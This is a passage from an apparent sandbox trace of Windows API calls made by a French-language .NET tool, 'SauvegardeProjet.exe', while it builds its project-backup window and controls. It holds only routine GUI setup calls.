returned 2005411293 [0045.336] SetWindowLongW (hWnd=0x50120, nIndex=-4, dwNewLong=14289102) returned 2005411293 [0045.336] GetWindowLongW (hWnd=0x50120, nIndex=-4) returned 14289102 [0045.336] GetWindowLongW (hWnd=0x50120, nIndex=-16) returned 113901568 [0045.336] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x81, wParam=0x0, lParam=0x32ea88) returned 0x1 [0045.336] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x83, wParam=0x0, lParam=0x32ea74) returned 0x0 [0045.534] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1, wParam=0x0, lParam=0x32ea88) returned 0x0 [0045.534] GetClientRect (in: hWnd=0x50120, lpRect=0x32e7c0 | out: lpRect=0x32e7c0) returned 1 [0045.534] GetWindowRect (in: hWnd=0x50120, lpRect=0x32e7c0 | out: lpRect=0x32e7c0) returned 1 [0045.535] SetWindowTextW (hWnd=0x50120, lpString="Sauvegarde d'un projet VB Net ou C#") returned 1 [0045.535] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xc, wParam=0x0, lParam=0x258d774) returned 0x1 [0045.568] SetLayeredWindowAttributes (hwnd=0x50120, crKey=0x0, bAlpha=0x0, dwFlags=0x2) returned 1 [0045.592] GetStartupInfoW (in: lpStartupInfo=0x25ab06c | out: lpStartupInfo=0x25ab06c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0045.593] GetParent (hWnd=0x50120) returned 0x0 [0045.593] GetStockObject (i=5) returned 0x1900015 [0045.593] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.593] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0045.594] RegisterClassW (lpWndClass=0x32eed4) returned 0xc136 [0045.594] CoTaskMemFree (pv=0x6284e0) [0045.594] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.594] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x301b4 [0045.594] SetWindowLongW (hWnd=0x301b4, nIndex=-4, dwNewLong=2005411293) returned 14289142 [0045.594] GetWindowLongW (hWnd=0x301b4, nIndex=-4) returned 2005411293 [0045.594] SetWindowLongW (hWnd=0x301b4, nIndex=-4, dwNewLong=14289182) returned 2005411293 [0045.594] GetWindowLongW (hWnd=0x301b4, nIndex=-4) returned 14289182 [0045.594] GetWindowLongW (hWnd=0x301b4, nIndex=-16) returned 79691776 [0045.595] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x24, wParam=0x0, lParam=0x32eabc) returned 0x0 [0045.595] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x81, wParam=0x0, lParam=0x32eab0) returned 0x1 [0045.595] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x83, wParam=0x0, lParam=0x32ea9c) returned 0x0 [0045.595] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1, wParam=0x0, lParam=0x32eab0) returned 0x0 [0045.595] SetWindowLongW (hWnd=0x50120, nIndex=-8, dwNewLong=197044) returned 0 [0045.596] GetSystemMetrics (nIndex=49) returned 16 [0045.596] GetSystemMetrics (nIndex=50) returned 16 [0045.596] CreateIconFromResourceEx (presbits=0x25ab3dc, dwResSize=0x368, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x80199 [0045.597] SendMessageW (hWnd=0x50120, Msg=0x80, wParam=0x0, lParam=0x80199) returned 0x0 [0045.597] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x80, wParam=0x0, lParam=0x80199) returned 0x0 [0045.597] SendMessageW (hWnd=0x50120, Msg=0x80, wParam=0x1, lParam=0x9006b) returned 0x0 [0045.597] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x80, wParam=0x1, lParam=0x9006b) returned 0x0 [0045.603] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x80199 [0045.606] GetSystemMenu (hWnd=0x50120, bRevert=0) returned 0x1101ab [0045.608] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32f004 | out: lpwndpl=0x32f004) returned 1 [0045.608] EnableMenuItem (hMenu=0x1101ab, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0045.609] EnableMenuItem (hMenu=0x1101ab, uIDEnableItem=0xf030, uEnable=0x1) returned 0 [0045.609] EnableMenuItem (hMenu=0x1101ab, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0045.609] EnableMenuItem (hMenu=0x1101ab, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0045.609] EnableMenuItem (hMenu=0x1101ab, uIDEnableItem=0xf000, uEnable=0x1) returned 0 [0045.609] GetClientRect (in: hWnd=0x50120, lpRect=0x32f048 | out: lpRect=0x32f048) returned 1 [0045.609] GetClientRect (in: hWnd=0x50120, lpRect=0x32efa8 | out: lpRect=0x32efa8) returned 1 [0045.609] GetWindowRect (in: hWnd=0x50120, lpRect=0x32efa8 | out: lpRect=0x32efa8) returned 1 [0045.609] SetWindowLongW (hWnd=0x50120, nIndex=-8, dwNewLong=197044) returned 197044 [0045.609] SendMessageW (hWnd=0x301b4, Msg=0x80, wParam=0x1, lParam=0x9006b) returned 0x0 [0045.609] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x80, wParam=0x1, lParam=0x9006b) returned 0x0 [0045.610] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8c678) returned 0x0 [0045.611] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8c690) returned 0x0 [0045.611] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0045.611] GetWindowLongW (hWnd=0x50120, nIndex=-16) returned 113901568 [0045.612] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0045.612] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0045.612] GetSystemMetrics (nIndex=42) returned 0 [0045.612] GetWindowTextW (in: hWnd=0x50120, lpString=0x32ef10, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0045.612] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32ef10) returned 0x23 [0045.613] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0045.613] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0045.613] GetSystemMetrics (nIndex=42) returned 0 [0045.613] GetWindowTextW (in: hWnd=0x50120, lpString=0x32ef10, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0045.613] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32ef10) returned 0x23 [0045.613] GetCursorPos (in: lpPoint=0x25ab9b0 | out: lpPoint=0x25ab9b0*(x=757, y=575)) returned 1 [0045.613] MonitorFromPoint (pt=0x2f6, dwFlags=0x23e) returned 0x10001 [0045.613] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32ee74 | out: lpmi=0x32ee74) returned 1 [0045.613] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x34010232 [0045.613] GetDeviceCaps (hdc=0x34010232, index=12) returned 32 [0045.613] GetDeviceCaps (hdc=0x34010232, index=14) returned 1 [0045.613] DeleteDC (hdc=0x34010232) returned 1 [0045.614] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32eec8 | out: lpmi=0x32eec8) returned 1 [0045.614] GetWindowLongW (hWnd=0x50120, nIndex=-16) returned 113901568 [0045.614] GetWindowLongW (hWnd=0x50120, nIndex=-20) returned 590080 [0045.614] SetWindowLongW (hWnd=0x50120, nIndex=-16, dwNewLong=46792704) returned 113901568 [0045.614] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x7c, wParam=0xfffffff0, lParam=0x32ef9c) returned 0x0 [0045.614] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x7d, wParam=0xfffffff0, lParam=0x32ef9c) returned 0x0 [0045.614] SetWindowLongW (hWnd=0x50120, nIndex=-20, dwNewLong=589824) returned 590080 [0045.614] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x7c, wParam=0xffffffec, lParam=0x32ef9c) returned 0x0 [0045.614] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x7d, wParam=0xffffffec, lParam=0x32ef9c) returned 0x0 [0045.615] SetWindowPos (hWnd=0x50120, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0045.615] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x46, wParam=0x0, lParam=0x32efbc) returned 0x0 [0045.615] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x83, wParam=0x1, lParam=0x32ef94) returned 0x0 [0045.616] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32ed6c | out: lpwndpl=0x32ed6c) returned 1 [0045.616] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32efbc) returned 0x0 [0045.616] GetClientRect (in: hWnd=0x50120, lpRect=0x32ed1c | out: lpRect=0x32ed1c) returned 1 [0045.616] GetWindowRect (in: hWnd=0x50120, lpRect=0x32ed1c | out: lpRect=0x32ed1c) returned 1 [0045.617] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x83, wParam=0x1, lParam=0x32eba0) returned 0x0 [0045.617] RedrawWindow (hWnd=0x50120, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.617] GetSystemMenu (hWnd=0x50120, bRevert=0) returned 0x1101ab [0045.617] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32eff4 | out: lpwndpl=0x32eff4) returned 1 [0045.617] EnableMenuItem (hMenu=0x1101ab, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0045.617] EnableMenuItem (hMenu=0x1101ab, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0045.617] EnableMenuItem (hMenu=0x1101ab, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0045.617] EnableMenuItem (hMenu=0x1101ab, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0045.617] EnableMenuItem (hMenu=0x1101ab, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0045.618] ShowWindow (hWnd=0x50120, nCmdShow=5) returned 0 [0045.618] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0045.618] GetCurrentActCtx (in: lphActCtx=0x32ecc0 | out: lphActCtx=0x32ecc0*=0x643e84) returned 1 [0045.618] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0045.618] GetClassInfoW (in: hInstance=0x0, lpClassName="STATIC", lpWndClass=0x25abcf8 | out: lpWndClass=0x25abcf8) returned 1 [0045.619] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.619] CoTaskMemAlloc (cb=0x58) returned 0x5ee078 [0045.619] RegisterClassW (lpWndClass=0x32eb78) returned 0xc135 [0045.619] CoTaskMemFree (pv=0x5ee078) [0045.619] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.620] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Arborescence du projet", dwStyle=0x5600000d, X=12, Y=213, nWidth=139, nHeight=13, hWndParent=0x50120, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x301b0 [0045.620] SetWindowLongW (hWnd=0x301b0, nIndex=-4, dwNewLong=1942665417) returned 14289222 [0045.620] GetWindowLongW (hWnd=0x301b0, nIndex=-4) returned 1942665417 [0045.620] SetWindowLongW (hWnd=0x301b0, nIndex=-4, dwNewLong=14289262) returned 1942665417 [0045.620] GetWindowLongW (hWnd=0x301b0, nIndex=-4) returned 14289262 [0045.620] GetWindowLongW (hWnd=0x301b0, nIndex=-16) returned 1174405133 [0045.620] GetWindowLongW (hWnd=0x301b0, nIndex=-12) returned 0 [0045.621] SetWindowLongW (hWnd=0x301b0, nIndex=-12, dwNewLong=197040) returned 0 [0045.621] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x81, wParam=0x0, lParam=0x32e754) returned 0x1 [0045.622] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x83, wParam=0x0, lParam=0x32e740) returned 0x0 [0045.622] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x1, wParam=0x0, lParam=0x32e754) returned 0x0 [0045.622] GetWindow (hWnd=0x301b0, uCmd=0x3) returned 0x0 [0045.622] GetClientRect (in: hWnd=0x301b0, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.622] GetWindowRect (in: hWnd=0x301b0, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.622] GetParent (hWnd=0x301b0) returned 0x50120 [0045.622] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e480, cPoints=0x2 | out: lpPoints=0x32e480) returned -7405888 [0045.623] SetWindowTextW (hWnd=0x301b0, lpString="Arborescence du projet") returned 1 [0045.623] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xc, wParam=0x0, lParam=0x258d6e0) returned 0x1 [0045.623] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x5, wParam=0x0, lParam=0xd008b) returned 0x0 [0045.623] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x3, wParam=0x0, lParam=0xd5000c) returned 0x0 [0045.623] GetClientRect (in: hWnd=0x301b0, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.623] GetWindowRect (in: hWnd=0x301b0, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.623] GetParent (hWnd=0x301b0) returned 0x50120 [0045.623] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e4d8, cPoints=0x2 | out: lpPoints=0x32e4d8) returned -7405888 [0045.623] SendMessageW (hWnd=0x301b0, Msg=0x2210, wParam=0x1b00001, lParam=0x301b0) returned 0x0 [0045.623] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x2210, wParam=0x1b00001, lParam=0x301b0) returned 0x0 [0045.623] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0045.623] GetParent (hWnd=0x301b0) returned 0x50120 [0045.623] GetCurrentActCtx (in: lphActCtx=0x32ecc0 | out: lphActCtx=0x32ecc0*=0x643e84) returned 1 [0045.623] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0045.623] GetClassInfoW (in: hInstance=0x0, lpClassName="LISTBOX", lpWndClass=0x25ac034 | out: lpWndClass=0x25ac034) returned 1 [0045.624] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.624] CoTaskMemAlloc (cb=0x5a) returned 0x6284e0 [0045.624] RegisterClassW (lpWndClass=0x32eb78) returned 0xc133 [0045.624] CoTaskMemFree (pv=0x6284e0) [0045.624] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.624] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.LISTBOX.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x562100c1, X=12, Y=229, nWidth=741, nHeight=407, hWndParent=0x50120, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x301ac [0045.624] SetWindowLongW (hWnd=0x301ac, nIndex=-4, dwNewLong=1943169465) returned 14289302 [0045.624] GetWindowLongW (hWnd=0x301ac, nIndex=-4) returned 1943169465 [0045.625] SetWindowLongW (hWnd=0x301ac, nIndex=-4, dwNewLong=14289342) returned 1943169465 [0045.625] GetWindowLongW (hWnd=0x301ac, nIndex=-4) returned 14289342 [0045.625] GetWindowLongW (hWnd=0x301ac, nIndex=-16) returned 1176568001 [0045.625] GetWindowLongW (hWnd=0x301ac, nIndex=-12) returned 0 [0045.625] SetWindowLongW (hWnd=0x301ac, nIndex=-12, dwNewLong=197036) returned 0 [0045.625] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x81, wParam=0x0, lParam=0x32e754) returned 0x1 [0045.638] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x83, wParam=0x0, lParam=0x32e740) returned 0x0 [0045.638] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x1, wParam=0x0, lParam=0x32e754) returned 0x1 [0045.649] GetWindow (hWnd=0x301ac, uCmd=0x3) returned 0x301b0 [0045.649] GetClientRect (in: hWnd=0x301ac, lpRect=0x32e460 | out: lpRect=0x32e460) returned 1 [0045.649] GetWindowRect (in: hWnd=0x301ac, lpRect=0x32e460 | out: lpRect=0x32e460) returned 1 [0045.649] GetParent (hWnd=0x301ac) returned 0x50120 [0045.649] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e460, cPoints=0x2 | out: lpPoints=0x32e460) returned -7405888 [0045.649] GetWindowTextLengthW (hWnd=0x301ac) returned 0 [0045.649] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0045.649] GetSystemMetrics (nIndex=42) returned 0 [0045.649] GetWindowTextW (in: hWnd=0x301ac, lpString=0x32e2e4, nMaxCount=1 | out: lpString="") returned 0 [0045.649] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0xd, wParam=0x1, lParam=0x32e2e4) returned 0x0 [0045.649] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0045.649] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0045.649] GetSystemMetrics (nIndex=42) returned 0 [0045.649] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e2cc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0045.649] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e2cc) returned 0x23 [0045.650] GetDC (hWnd=0x0) returned 0x1010830 [0045.650] GdipCreateFromHDC (hdc=0x1010830, graphics=0x32e32c) returned 0x0 [0045.650] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0045.650] GdipGetLogFontW (font=0x4c27030, graphics=0x4c27818, logfontW=0x6284e0) returned 0x0 [0045.650] CoTaskMemFree (pv=0x6284e0) [0045.650] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0045.650] CoTaskMemFree (pv=0x6284e0) [0045.650] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0045.650] CoTaskMemFree (pv=0x6284e0) [0045.650] GdipDeleteGraphics (graphics=0x4c27818) returned 0x0 [0045.650] ReleaseDC (hWnd=0x0, hDC=0x1010830) returned 1 [0045.650] CoTaskMemAlloc (cb=0x5c) returned 0x6284e0 [0045.650] CreateFontIndirectW (lplf=0x6284e0) returned 0x270a0242 [0045.650] CoTaskMemFree (pv=0x6284e0) [0045.650] SendMessageW (hWnd=0x301ac, Msg=0x30, wParam=0x270a0242, lParam=0x0) returned 0x0 [0045.650] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x30, wParam=0x270a0242, lParam=0x0) returned 0x0 [0045.653] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x46, wParam=0x0, lParam=0x32dd58) returned 0x0 [0045.653] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x83, wParam=0x1, lParam=0x32dd30) returned 0x0 [0045.653] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x47, wParam=0x0, lParam=0x32dd58) returned 0x0 [0045.653] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x5, wParam=0x0, lParam=0x19302e1) returned 0x0 [0045.678] GetClientRect (in: hWnd=0x301ac, lpRect=0x32da7c | out: lpRect=0x32da7c) returned 1 [0045.678] GetWindowRect (in: hWnd=0x301ac, lpRect=0x32da7c | out: lpRect=0x32da7c) returned 1 [0045.678] GetParent (hWnd=0x301ac) returned 0x50120 [0045.678] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32da7c, cPoints=0x2 | out: lpPoints=0x32da7c) returned -7405888 [0045.678] GetWindowTextLengthW (hWnd=0x301ac) returned 0 [0045.678] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0045.678] GetSystemMetrics (nIndex=42) returned 0 [0045.678] GetWindowTextW (in: hWnd=0x301ac, lpString=0x32d900, nMaxCount=1 | out: lpString="") returned 0 [0045.678] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0xd, wParam=0x1, lParam=0x32d900) returned 0x0 [0045.678] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0045.678] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0045.678] GetSystemMetrics (nIndex=42) returned 0 [0045.678] GetWindowTextW (in: hWnd=0x50120, lpString=0x32d8e8, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0045.678] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32d8e8) returned 0x23 [0045.678] GetParent (hWnd=0x301ac) returned 0x50120 [0045.687] SendMessageW (hWnd=0x301ac, Msg=0x1a1, wParam=0x0, lParam=0x0) returned 0xd [0045.687] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x1a1, wParam=0x0, lParam=0x0) returned 0xd [0045.689] SendMessageW (hWnd=0x301ac, Msg=0x1a5, wParam=0x409, lParam=0x0) returned 0x409 [0045.689] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x1a5, wParam=0x409, lParam=0x0) returned 0x409 [0045.689] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x5, wParam=0x0, lParam=0x19302e1) returned 0x0 [0045.689] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x3, wParam=0x0, lParam=0xe7000e) returned 0x0 [0045.689] GetClientRect (in: hWnd=0x301ac, lpRect=0x32e4b8 | out: lpRect=0x32e4b8) returned 1 [0045.689] GetWindowRect (in: hWnd=0x301ac, lpRect=0x32e4b8 | out: lpRect=0x32e4b8) returned 1 [0045.689] GetParent (hWnd=0x301ac) returned 0x50120 [0045.689] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e4b8, cPoints=0x2 | out: lpPoints=0x32e4b8) returned -7405888 [0045.689] SendMessageW (hWnd=0x301ac, Msg=0x2210, wParam=0x1ac0001, lParam=0x301ac) returned 0x0 [0045.689] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x2210, wParam=0x1ac0001, lParam=0x301ac) returned 0x0 [0045.690] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0045.691] GetParent (hWnd=0x301ac) returned 0x50120 [0045.691] GetCurrentActCtx (in: lphActCtx=0x32ecc0 | out: lphActCtx=0x32ecc0*=0x643e84) returned 1 [0045.691] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0045.691] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.691] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=181, Y=179, nWidth=0, nHeight=13, hWndParent=0x50120, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x301b2 [0045.691] SetWindowLongW (hWnd=0x301b2, nIndex=-4, dwNewLong=1942665417) returned 14289222 [0045.691] GetWindowLongW (hWnd=0x301b2, nIndex=-4) returned 1942665417 [0045.692] SetWindowLongW (hWnd=0x301b2, nIndex=-4, dwNewLong=14289382) returned 1942665417 [0045.692] GetWindowLongW (hWnd=0x301b2, nIndex=-4) returned 14289382 [0045.692] GetWindowLongW (hWnd=0x301b2, nIndex=-16) returned 1174405133 [0045.692] GetWindowLongW (hWnd=0x301b2, nIndex=-12) returned 0 [0045.692] SetWindowLongW (hWnd=0x301b2, nIndex=-12, dwNewLong=197042) returned 0 [0045.692] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b2, Msg=0x81, wParam=0x0, lParam=0x32e754) returned 0x1 [0045.692] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b2, Msg=0x83, wParam=0x0, lParam=0x32e740) returned 0x0 [0045.692] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b2, Msg=0x1, wParam=0x0, lParam=0x32e754) returned 0x0 [0045.692] GetWindow (hWnd=0x301b2, uCmd=0x3) returned 0x301ac [0045.692] GetClientRect (in: hWnd=0x301b2, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.692] GetWindowRect (in: hWnd=0x301b2, lpRect=0x32e480 | out: lpRect=0x32e480) returned 1 [0045.692] GetParent (hWnd=0x301b2) returned 0x50120 [0045.692] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e480, cPoints=0x2 | out: lpPoints=0x32e480) returned -7405888 [0045.692] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b2, Msg=0x5, wParam=0x0, lParam=0xd0000) returned 0x0 [0045.693] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b2, Msg=0x3, wParam=0x0, lParam=0xb300b5) returned 0x0 [0045.693] GetClientRect (in: hWnd=0x301b2, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.693] GetWindowRect (in: hWnd=0x301b2, lpRect=0x32e4d8 | out: lpRect=0x32e4d8) returned 1 [0045.693] GetParent (hWnd=0x301b2) returned 0x50120 [0045.693] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e4d8, cPoints=0x2 | out: lpPoints=0x32e4d8) returned -7405888 [0045.693] SendMessageW (hWnd=0x301b2, Msg=0x2210, wParam=0x1b20001, lParam=0x301b2) returned 0x0 [0045.693] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b2, Msg=0x2210, wParam=0x1b20001, lParam=0x301b2) returned 0x0 [0045.693] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b2, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0045.693] GetParent (hWnd=0x301b2) returned 0x50120 [0045.693] GetCurrentActCtx (in: lphActCtx=0x32ecc0 | out: lphActCtx=0x32ecc0*=0x643e84) returned 1 [0045.693] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0045.693] GetModuleHandleW (lpModuleName=0x0) returned 0xea0000 [0045.693] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Repertoire Projet 2 : ", dwStyle=0x5680000d, X=12, Y=174, nWidth=163, nHeight=23, hWndParent=0x50120, hMenu=0x0, hInstance=0xea0000, lpParam=0x0) returned 0x301ae [0045.693] SetWindowLongW (hWnd=0x301ae, nIndex=-4, dwNewLong=1942665417) returned 14289222 [0045.694] GetWindowLongW (hWnd=0x301ae, nIndex=-4) returned 1942665417 [0045.694] SetWindowLongW (hWnd=0x301ae, nIndex=-4, dwNewLong=14289422) returned 1942665417 [0045.694] GetWindowLongW (hWnd=0x301ae, nIndex=-4) returned 14289422 [0045.694] GetWindowLongW (hWnd=0x301ae, nIndex=-16) returned 1182793741 